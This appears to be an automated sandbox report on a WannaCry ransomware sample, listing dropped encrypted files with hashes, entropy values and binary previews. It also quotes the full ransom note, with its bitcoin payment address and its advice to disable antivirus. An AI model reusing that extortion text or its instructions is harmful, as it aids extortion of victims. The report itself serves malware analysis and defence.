                                                                                                                                                                              Preview:WANACRY!......)0.z..*.....w......zA4........\....\..*..X`..,F..c...{...5..W|........z..uC...Ca................VesD5..z|..`%.p...{,Y..i.LN.*."):.|"U....eUQ-...}.|l..?%.....4^......".=...d..!8Z........3c{=...X.v..RR.t..9..}A=..w<.....*.....|...J.9.........4........D.....'|.w.m.;j..'S..G._b..U_.S...S..i.h.!u......?.i.E....(.t...|..........L...=.N..n.....SC..0.k...f*...._*~$......q......Z..@.+:..G..x...!./.uqp..<%.'..;C..:...-p9...A_....B"Qa....Li.}.n..Wz....}.WP.N.Sd.....Q>]e..u.[....1g0.UT...L.(.....|>BI.......%.2."...1..d..UW..Muh..L.x."......2Y2.....&"...c...=...(U.h...F........_...../....^.*R>...HK9......j...ak2..HJ._U..>MJ.....t..<.P..$.z.p.....!7...6..$..M.?#.A.G......a.~.v7..'E....]"..4'oc....IKF.V.%... h.n+i\..,^.P..8PIdpK....I..U.o.b..3............'....{Q.*.l..j.bv..~.o.?.:....K]...._.g.....v....g..sL|};.PEp..........:..6Q...-k`.y.w......K.dh..<_..G.d.&.b$.J.P..<.J..c..V.....wu.L.G$9..H....A....F....pL-..>.1d.1..9

                                                                                                                                                                              C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{f7654fd4-7ecd-4743-acf3-b2a165fc8601}\0.1.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.105329972195962
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE1RaoWDcENKlhV0tcY/l2SdGjXR/yUi+Lz56a2UxavSK4wO5nxMK0XAZdxHt4C:bkE1PpPl8t12KGDxLz/9eS5n4KzZPHh
                                                                                                                                                                              MD5:88E2C22A5DA0035FEA9DC89FA30548A9
                                                                                                                                                                              SHA1:36744E4B106EE41FA002CF3C015B47A629C8ECF5
                                                                                                                                                                              SHA-256:EC162586C34B3DD6C1F598B901CD6B45F0D2153E8E63D5AAB84BEAA4B9EF0633
                                                                                                                                                                              SHA-512:62FB818623CA1D44A6C2BA1DDD04C109A6C0522CD2AC2B3294EDAABDAFFD47F1156797F7DE0F785A593B397013AA22E622AF37502D147D3B475B5783D29CA8B3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....R.P.e.cyi........r..7...G)..r.:...I.Uq..O.d.J[.9......I.. kQq.L...W...Z..21.A.E......O+.9.o..].....,...}.....I2V.D..8!;.^..v.,J..i...m.V..M......s.\........L..".3......!...D:)),.LJ.U.....=.]f.U..Ep>R.y..l.C......l...........)..{..YHW.....K...:............. ..KYm(...:]....

                                                                                                                                                                              C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{f7654fd4-7ecd-4743-acf3-b2a165fc8601}\0.2.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.229351254491694
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEmbX1xZYoAYAWzq9wbaDWRF3YAvwuFmBNT2cGGBchVEz4QTsCMb9l5W:bkEmbFUnRWGJaRnATX4SsCgW
                                                                                                                                                                              MD5:721BD31E9049F32E37761C92A1FEAE2F
                                                                                                                                                                              SHA1:EA32E797763E6BD160622C306C686A8D3886886F
                                                                                                                                                                              SHA-256:C3FC5727516421B57BD7A41AEAAC2372FE19FDB5FAF57A254C88D9F60D25778A
                                                                                                                                                                              SHA-512:973C670FCBDDEEF3761B54D62AF73155478FCE45A24BE059F1ADED83634F0DE5E7CA8545D7611966FCC30E999BF36AF96C8D5DA0228F4725F4CEFBADCB6F6A82
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......u5.8..u.........6'.H9..._...r4.b.lq..p...n.....'..}%%3O...........L....X~u'.Z...AU.....&...R.D..^..G.)1J...d..K...5hR.#8.V.E.m......eM..%../K.Z...+F'.k.h1.v....@.+...$e......+yf'z.n.*...g./..........8.fV.fD.VU..E.....Y_.0....Cc.G..8...Fs...............Zy.v..=......

                                                                                                                                                                              C:\ProgramData\Microsoft\AppV\Setup\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\ProgramData\Microsoft\AppV\Setup\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5256
                                                                                                                                                                              Entropy (8bit):7.960559642818744
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oRttMDVm0e2Ka88fwxjU68ar7i+bfcgYm4T4IbQq4MXnDLk:gttMDVhe2Kt4parBER8HMXnvk
                                                                                                                                                                              MD5:A15C9B15215BE1E4E37E5CA7014B0D25
                                                                                                                                                                              SHA1:4A65BE8232BE6917C76F48F9D0D430194AA35337
                                                                                                                                                                              SHA-256:7ADA480143133F4BADCB236B8FFA30AC6D9DEA58588CB1053AA70F83AA1F8756
                                                                                                                                                                              SHA-512:5C0BDA08E5E397448F5BDC750CAD826D1B85F47DF691D1D79ED09CE9978097EFF229F356D023DD422A96B41369C18BCE04664B0574F1C2D8E656C72C39F7094E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....'"Z.4..l.<KO...9....Q.R.i~........|.J..s.r. .hqA...s.e[.{L..^ t.,_..\.dB.n...O........h....2..ej.....)`.7.0...>:2.w....fW.kd...w}..K2....$$.T*q.X^......?.S..$<.....>.9...o{..%.X....B.svt...."K.B0|.....L..e.h9..,..........g..i...J..l.{q...w...z....h.......J.m..........eH.sl.*..P..T.....{>.O..<.]. ..."3.K'..F.....L&..$....w..Y.....Or.8...}1w.?......$0.7......#..M...........d..j..<f.....$.d.M..$...0".6.....p.T&rp....-....:#...<....h.5n2........5u...,Q.O..`".w....".....G.*.`...Z.ce.........^.c.NP.v'....}..l....X<......`....Z.....w6....OF........njg.I...../..M2z)....~.C.....[..&J...f..L.@.yu..V.7...3R.<.+".B%..A.....$%..vTB.kc.W.S;.....{e.-]....&*.l...+.M...A.........z/.e...'....._-.=}...$....L.........E..4.3.}6@@.}mc:_...U_Bgl....l..]....($.V..^....8....96......G..O+...+..V.l..a.Q...i....7...!..p4.-/3&.....H.....>N.Z...M...9.......O..ae.7......../..TS^..tJr.N.Y.....1..N..n.O....]1...o.D..u..y.i$?....F..FB...E//.sr.6.........A..@.n..

                                                                                                                                                                              C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\en-us.16\stream.x86.en-us.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):443032
                                                                                                                                                                              Entropy (8bit):7.999611169701093
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:mhvONox/bRe5ctAjwzgZ+fRetQGiNBYNYVNy0zJq+TYLgHm+T7SvxU8d7ofXi7Eo:mJcu/oatAjZWMhS5PDzJqqTOvbVtEo
                                                                                                                                                                              MD5:0F0A72D7CFB547C653828F704E728FD1
                                                                                                                                                                              SHA1:6D457CCC7A36C6DC28F3E26C8DC98E8F344A19AC
                                                                                                                                                                              SHA-256:C3A8DF24F3E532330F6B74FE80AC88608F291D3E71CA2E77D5BEF87335E1229F
                                                                                                                                                                              SHA-512:964046747B5539B90986B7F164B7ECF496FEA8568530FEC2F8BF21C6AAC642E2305D02D98C86BDF93C65B32CECA4193B1CF5B6778603AD49D0C72EBC2C846437
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......3...-)..v |.R.L.. ..... :..'..............'...`..j.E#.7}S.G.i.G....p.B.f.....po.B..e....x.2.lYYu..yK.y..K^......P>.....=.E.X.6.h....,4.U......9S.sU8.d.....|.....Y..$ W. K.1A../G..k%....0.....K.:.....8~........2g.......Y..l.....r9..s........y.........9.D..'f.$:B......e.z+...?z.f.u..&y6{>.::.N{0...wKX...B.....f..%I.Xg.. ...[..0vr9....=....g.Y.lBGjXB.._e:..2.../....Y.....o..].s...H...^. o.;..\RK../....E;A]...z.R...^,#aZ......f....X...f.)>.p)Q...4....n.4......&.i.....r......)`.......'.n.R....H..:=!.[>..vv..@...fD......0..o......../.K....Z.+.S.ND......BO.8.-.o.........;N.Z/..>=jr......<z+.GT...MJ...xS.I....8..;.k.../..,....X...i#M.u.3.......I....Gz.7.)..^x..D.us&..i....N.GmY....t...W.S....~?y-)...f..P.`<...?K..)..........H.Z..%X..o...,.g....u.>O...AV&g.f.....,..xi..y~..G-...'....a.me.u. ..~.......-.....6:-.o..4.....OU..M..BnQP. 7)m.kds..9........Xrp..;...6l2.8&o.].....5!..N...e....G.s...)t.[{dQ....{>=X. .i=.f..E.[....

                                                                                                                                                                              C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\operations.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):11251992
                                                                                                                                                                              Entropy (8bit):7.999983549562755
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:196608:C9ox+KrBfofQ0J1Rf27+9c8XSq1GrwRRvOpVVl1VW1Zr3fnLbHDPJSBVD:C9ox+KrBOpp27+mmEERvObNs1Z7nvD4H
                                                                                                                                                                              MD5:3C9D179785014114AF4C4621D401216C
                                                                                                                                                                              SHA1:FE39B1A061AC745A019447A8C10638B2B961BDD2
                                                                                                                                                                              SHA-256:C4ADB9EA1DF58CAF76CB0C00A8FCDC0F9E2F479BA53C6367574F54DE007F2323
                                                                                                                                                                              SHA-512:D8F13D64C15755BA6142E575E4C956FC61EDE05640D34D2849DBE3736B3197FCA09270423539AEB22C1F1976E191153811A46CADD4F3B839B504D9FAA1B7CB7F
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....X....Y.KDG.n...q...9.....-...4.<...gU...... ...5..{..!.~...-U.....M...RrC.}..D..E.....y.C...W~...*.`..T..G..1..x..D.UD5:I.\......,........'.......8..._|)'.?!..b..=.f.z[...U.......0.p.U.....z$...d.&.g.o.-.X..Wixg<..'...9d1..D.N........D................[._z./U,..5..E'J.^.......i.A.b$Na.0..Bh..1.L..7.pA....hL...f..Xq.n.J(............gLg.u....7(..k........i.R.R.w........S.k/.-..9.......+..X..T..p=..znCy.....9n.[..X........a&4@....vnr|.5....U...J;ty../..V.^.....9..op.!"..+.l...v|.B..Q..)N%K.u.8..d........I8.......X;...............n4g..."./...E#6.!...M.-.J..A.Z...Zh.;/D.h..jT..CB..@.e}.`6w...S..9..`).%}.q.0.-K{.o.tjV.!.7[..gL.{H52{.V...rS.../*.3.\.......]."..9......u..*.......>-..b...K;..Dcc.x`?..,...K.a.i+.#...._b..@.:.<[..y..oS.c/.....z...1..B.O]k.O3.........Nm~.X.>......E.3./..3...i.P...I.G.1>....gA[..7<..;..?.3.M.*P.......7.cN.W!...M.5.^Dv.[.#S.IL.8.......;V.....i.f...:.5..;Y.o......S..s.K2...........v..i/.o.H..:^..9...qz3.u*.V

                                                                                                                                                                              C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\x-none.16\stream.x86.x-none.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1729112
                                                                                                                                                                              Entropy (8bit):7.9998788706787565
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:VgfrlkkiUDyGxscRY7DrzS4qrENBKLeSv5hrqG:Wr+CyudY7DrzS4q4zyeSvuG
                                                                                                                                                                              MD5:3AE20172189CFFCDB24E00F9AA15549F
                                                                                                                                                                              SHA1:F8CFCB611B68FE246547995E4593E81326CDAFA6
                                                                                                                                                                              SHA-256:03793299FC71978A5B664B0BB3AB87AA6171B9B280F090A9B5EA222CE1DB5F38
                                                                                                                                                                              SHA-512:0340433C94E74C111469E91E2BD5F2906B43BD943292522CA506E5773D9A85B2F4775B7D370D96D3A0584D4E391E01E8E656F0B2F3422806B0A694E46475B220
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......Wp....l....%.A.E...R'\..+.]....*..9..Yq"...&@Q.Ev......I. ....t?.j....-.ZO=:<\...o........v.............`..9.......x'..C1.#H6f4m....0$..9.........0..?...f5.....%.%.r.,oS.B.j.C.......4x...F T....R._.$.l..M....#.8...q..w...W..C..5`..W.Zy.p.".:.mq(......1a......G.h2.....LJ..'../.4.......A.Dp.........YeS.#;..7z...1wi.....s`q...F.....45.i.;.....?=1.pN.....x....y4.N*D.\.....p;...%r..&.B...Q...P"8....a.@.Y.sY..4..A.V.V........,f.k......K..q.+ .N....o.?.y....{.5.....%.M......J.F..5^....#[Y.c.E^o.......).....;......bc.>T....a..;...tA.[N..R]<vl..H..p......Id.Q.UIF..mQb..W.....j..mA.......KxW....x...A..t.....1.r./..\:5i...y&."...aMTY..p .!~...=.HZ..P.)}P{w.G...y...(....a"...k..4n.....K....sv..sY}..Z....+.T.9..J....w..U..k)a...y..bl.~........W!....NL..Mx....obq.B<...Xtx....xr.;?.w....;.;.FkEoh...:.:*1&'.......d.S.A..!.OR...8..fHu.7.d.7.d...=..,.M.!...=u..w.*...|5f...d....".i%..]x }Y].*..%(.....Hc.\.f.-7,ki.E.x..2.....Ql.........?.6[%.f{1B}

                                                                                                                                                                              C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):130040
                                                                                                                                                                              Entropy (8bit):7.998498149563031
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:SIciItYTMkksfEHxVjnQP6nrY7XCRseEofmiclYTUX:eiPfERVzCyrYWR9EofmzYo
                                                                                                                                                                              MD5:B728BE9156C42B1E85318184A3DCDA31
                                                                                                                                                                              SHA1:AAFF69B05D8AA38258967E93EA7A18228D18143E
                                                                                                                                                                              SHA-256:065BBE601FF34C21A0132B9E11B98714F6C5C686BB97DC572BE3AA89D30BCB81
                                                                                                                                                                              SHA-512:C5BBEC1CA44B8BB6EA48B2D2563F791CFCA11E8A638EA510C93ABB586041C95438D19F6307D793685D545BE1289691C97911D71BDCD0B5959B31FAF33BD2CD4A
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....+..1.....c)..7...X..1...K9=......&P.)...3.........NrE....j..n.Lj........./A...o..O...*b...}O\.".R...a...$B....d........m.9].nR.2s3.wa.X.5Fa....w...X......e".U.X.J._c.I..,/..p.K%..@l_1R|..o....A*.?gO........,....|x..9.....te%....?...%k!..mv.^............&./x..$...D..k.^.D..9.qd..Q,Hn9.[@.+.2.>...]..h...T..g$.Q$..9.P..!.>N.6.......sP....)J..8...... 4dS0.~FI.@0.&..MEL....F..^x...K...". l..4......1......9G....TAb...g.&...Bg...F...1...0.0.....F.+ ..\.A......R.E.......Q.....@3..;.........r.c...3.s...o..$.........@.g..&......y}..d..!.Z...0..P8....8`{d....\.o.2CC-..>.Y.d.|ZM"7(..V..?.Vzr(..w..|.I.1"+..F`Z.......K.....E)9.].,...:..{t3WTP4.q..G..#.2.9r.I..W..\..$.D~.h......30!.....Q.G%.X.f|,W..w.YG......=.FCVwR....E..N..T...lt.D.~.NR.....,.....s..>.<y.T`;.Z.T......S .. .............\...y.S.,..R....B1..73<......8..`.Y6....59.l.|W. r....U&+..ft.}.Y. ....$f..>Qt..qF..m...k....e.}..>d..Dq.N..z.|i...*.y..P..$.`T@...?.9 ....K.......|.a>..x

                                                                                                                                                                              C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):44776
                                                                                                                                                                              Entropy (8bit):7.996209019689428
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:Wz/81K/xZG9qCbln+a1Ld2NVzbIT97yRvOH9AV+3OfW8pyZRDp6r1AHzs:WzmCxZG9q2ndGVbItUO9AVpBy316rIzs
                                                                                                                                                                              MD5:0A39D9CB9913B773B5EE53B9AF32C738
                                                                                                                                                                              SHA1:44B7BA88F6126DE8D7DD45A04F7A8B47CFD3C93C
                                                                                                                                                                              SHA-256:134D21057FA514385E333AC2D2861E6E7A912EB2FA1E8325F703AE6EF3E0D19A
                                                                                                                                                                              SHA-512:19C38D12078122E2F978B9BA741F7BAF54F40241B0B69FE7DF0D3206E1386A6955B8386F49C24256CFDCFB91FA6C7FFE9BBD363F64B7FF41D09E338DCA02B7A6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....l......p.....&.....i2g.:.....^.Ji..............x..?$Nor.I...\q.g.pi.......P....s?..BL .z.=...4.Oj..g.....A........?R.:.U....o..$wja.F..y].A.....<..'.y5.+.?.3Tx)$..XN...O..o..B..Q.(.........^.K....__..r.MA..1.\.6..7.}..x.&.....O...4.u...@...L.`............f+[Pz.C..*.O.......xY...A......i.=m..V....g.:.g.C.C.....,.e.8....7......W}$...d....:C.0...z.;..7._.e....n:2.KGG.(...\..#......hig2..7Enbg....kT....P./^......}.S....C<.......F..L6`.(+.> -.Z.. ;".@.w..P...d........3?..YI..X...R.M.%.....-Ou.......t..>c...[....-P..N..`...=b<.......G.r..0K....R.D.7i..kmL..'OT........BN..?..._..1...n.......c.h....T..9.~&U..!...D...]..._Q.Q..<..kY.uj..(0%.~..GK.e.]`i>@.kz.....?.P..%......X.!.+A.K..O.Y..z..).\..Y>.n*aV.P..LR@E$...7......>)...r.....%R$..?.<...{Cp.:8.1.].q.V?;f..5..Qy'..M.Q.(......&4..2.>.l.bt.e..W$.o#.`.......me.#..+...09!>w.......m.}c...08y..V3..0.m..cj.!.@F.v..j...x.8.tU7.M.9.z>.\8.^....,.5..D.u...<.)...;.....i..z..U..f.U.....i.>.l.....

                                                                                                                                                                              C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):29160
                                                                                                                                                                              Entropy (8bit):7.994529101424133
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:t1hFcRvJopcHRxsgM/l/BIjdRaazVe/QmkQABxV9V3ki66Valm729u3l2ejFBlJO:pkuuRxs792XfdmxSDlclm72QqJ
                                                                                                                                                                              MD5:5BA25CBDA2EA94EA1D3BE447B8B07BB8
                                                                                                                                                                              SHA1:27419396BC6E96C91CF8050C0ECFDF9D4713C044
                                                                                                                                                                              SHA-256:915F3774B641E1E768A62E8ED8E318E591CA6333F4FE848D004B4A3CD06916B4
                                                                                                                                                                              SHA-512:525FF32909EE848A1F2949DC4D263C80F9405ED89FD4395458E190FBC77C380DBB91B1D98BDFDBF432E56160BE98DE4A24C46BE22D551347180B8F428390C811
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......Q.^w...<..I.b...D.wo>.<2#*/.n..8...\.B...I.Y.#.kSq/.o..].YZ.y..l.....fkU...._c.w..5.%..........J..+ ...$X.\...........\bC1.|-_].P.h.W...3.Q.C.Y....0m...N.....*O=.............\9..gOh.....&*H..E.x......n.....Z.B....c.\b.D...#;.....9..Pp...;.h.^.W.....p.......8(1_..P..{8..FJ....t.M8.t..a..Pi-..d._.M.3..R.]h.g4.w_z.1U..wh..K!..8.o.E.....K.&.B..-J.V5.`#D_.n_....N......`i3z.$..'.>...H..$fm......w..}...+.[.).{.....at..u....5.{.QI{...H...m.`!X...&..1.W..>rU.6{}....Z..C......8n.5S..5J.A..|w..+25..+...V..{...U......iN.4.!.....a(...1X...."?9M.}..vN....]......(...M..j.y.c..."....T..t.%.j-.....Q..5.o...|..v]...'1O.....!{._`.!.!..Gr..B...J;.~yL..r........!c......../.2,......Z.e. ?.....e/.s....9..+..q<9.Xw@..D.7y..t..v.6Hn@Z4........x.}..".'.z..D(#)a<:w.y .,.U..,>...@.5>.......Y.G...X2....(.P..H.`.oC..Q'1v/}t...vi...%...p...F.EZ.)m .m.A_/..<..2..@%.vXo.t`......4./]Q.J...n.sH.o...d.....U....d._=..1E.1R...p.p...lIg....E.r..W...<W|.S.Q>

                                                                                                                                                                              C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):39672
                                                                                                                                                                              Entropy (8bit):7.996259656368414
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:UDy9wwPJt0LTo8dVsdIuXlbW3j6HjeWs8FmI6obS8B2h:GyTxOYEVYbqWd0obv4
                                                                                                                                                                              MD5:2E974B1FF2461DB1D1B9BA2B0590978F
                                                                                                                                                                              SHA1:ABF125CA559F0382F8B969DCBC7FB9150B1043FC
                                                                                                                                                                              SHA-256:90763121A3E630A39D2A69936619F8966064C3E20C5AA1D1ABE6D1113C1B5783
                                                                                                                                                                              SHA-512:7EBBEF556B22D7EEB8F8C3BCFE71525A78CFB56818CDF872224C1E9547FC955C9521218F179669B4FBF1A5B119663E6458B9BE127405BB80DE1DD8281C9F72D7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......0v.|.3.l.W...sq. "R...3d..]..tB|.....#SB.gX...7...?.....Ch.>0...........L...J`..e.....\\" ....1..cm..ud.}D...vo.L..;..Y.J.q..,.m...:.#q0e..ktxA..g.O.O........5.E2.*....=.....A?..|:xk?..]i..%..'Q|t..[..Y..4@Y.a...Hr.a..U.b.,Z.;.'....D-p.f....;...........i..+.....r.r>+q\.6......U.bv...ET..+1.+....e"v)..RO.k......!..]v7..1'..Tp...].;4....S.Ti.iUr.y-t.H.:%........YzL......7.....O,....b..1.eIr.......U%..M...N...p./.....3A..E...|.&b@..Z....(D-..#`]@...9./N<R..;.Kb..fi.i..3A.Z]F..W.../.?.X....._.Kl.<.0J...l..-..P.x.d.;.A....J..[5.m..."..??m.`::...x1....:.d...q.o0....r/...X..........-.a.!....h...~J..S=D.v......(d.Aqo..m.t.6\DY5...f..,....1.L.Fw.A.,%V....M...7..!.=......n1..<.>`.2...a+I}.5..^...J.c..o.I..............nw>.........#K.X..#]r.UZay.-YP...^....|(|P.*...F.A....@?`..,6g=.O.Dn84>.S.'=m#.Y...^.4..D....S..G..G.AJr...%v..!..T.|q...-.z!.."4z..y].. .`.9.0w%...N.Q..A..5P.z.....E.j..&......St@*......<......x...L.X...m8^....-...BM..

                                                                                                                                                                              C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):130040
                                                                                                                                                                              Entropy (8bit):7.9986798024295345
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:98HwqA/ZT3iMkecAq5YZWTdDUlBVNqjc4akwIO1ID41lx0V:lqOmOPGdCzNqRWIODr0V
                                                                                                                                                                              MD5:D26C30A979DAD0E5F6A3CCF8ED107ACC
                                                                                                                                                                              SHA1:023A0FC8786CCFF4A93C16B5EFDBA42A39572409
                                                                                                                                                                              SHA-256:63C59E5990AF80C258FE8FB743BBF1E8895FCDD1FB3E6F7130479E95D3A35FA4
                                                                                                                                                                              SHA-512:3DE8C359ADCA44D0D2C02CC88DD8CFDFBE7E5FF5E71FC77E11724D53F0C71D718D775A625D94E55900AFCB61A90BAC91B770C8E8D9D763332F7736E38473F15E
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
